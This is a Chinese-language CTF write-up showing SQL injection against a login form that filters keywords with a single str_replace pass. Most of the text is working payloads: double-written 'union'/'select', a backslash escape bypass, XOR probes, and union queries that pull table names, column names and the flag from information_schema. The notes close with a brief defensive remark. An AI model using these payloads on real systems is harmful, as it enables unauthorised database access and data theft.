双写绕过
随便输入一个
username=admin&password=s 没有回显
测试注入点
username=admin' or 1=1%23&password=s 回显hello admin
测试列数
username=admin' order by 3%23&password=s
测试回显位
username=admi' union select 1,2,3%23&password=s 没有显示数据,推测可能是某些地方被过滤了
使用之前学习的异或注入,测试过滤
username=admin'^(length('union')=5)%23 页面返回hello,admin 所以union被过滤
测试select
username=admin'^(length('select')=6)%23 页面返回hello,admin 所以select被过滤
尝试双写绕过
username=admi' uniunionon selselectect 1,2,3%23&password=s
拿数据库名
username=admi' uniunionon selselectect 1,database(),3%23&password=s
拿表名
username=admi' uniunionon selselectect 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=s
拿列名
username=admi' uniunionon selselectect 1,group_concat(column_name),3 from information_schema.columns where table_name='flag'%23&password=s
拿flag
username=admi' uniunionon selselectect 1,flag,3 from flag%23&password=s
反斜线绕过
我们通过在单引号前面再加一个反斜杠,把系统替换的反斜杠再次进行一个转译,前面的反斜杠把后面的反斜杠给转译,那么被替换后的反斜杠就失去了转译的作用,\反斜杠就相当于一个没有任何转译作用的反斜杠符号,通常用在文件路径中
这里注意数据库中没有admin\,所以返回的是空,这里注意之前的反斜杠被转译了,所以这里就表示admin\,同理我们用oder by 去排序的时候,返回的就为空,因为数据库没有admin\,什么都没有就不能排序,这里order by就不能用了:
这里就得换个方法,我们用select挨个试试,因为一般ctf题就没多少列数,直接猜两列,什么都没有:
我们猜三列的时候就出现了,回显位是2:
下面就是拿表名,拿列名:
拿库名
username=adin\' union select 1,database(),3%23&password=s
拿表名
username=adin\' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23&password=s
拿列名 这里注意flag需要单引号,会被转为\'flag\' 这里单引号被转译,失去了单引号的作用,所以得用十六进制
username=adin\' union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x666c6167%23&password=s
拿数据
username=adin\' union select 1,flag,3 from flag%23&password=s
这里我们用不了宽字节,是因为源码中没有设置gbk编码,所以无法宽字节绕过,这种考验技巧,实际不会出现,ctf题确经常出现,实际防御中可以用addslashes()这样就会比较安全,单引号和反斜杠都会转译
总结
双写绕过,str_replace只会执行一次替换
反斜线绕过,因为后台程序没有转义反斜线\, 可以通过输入一个反斜线\,转义反斜线\
对于str_replace替换导致的安全问题远不止这些,把union替换为i也会导致绕过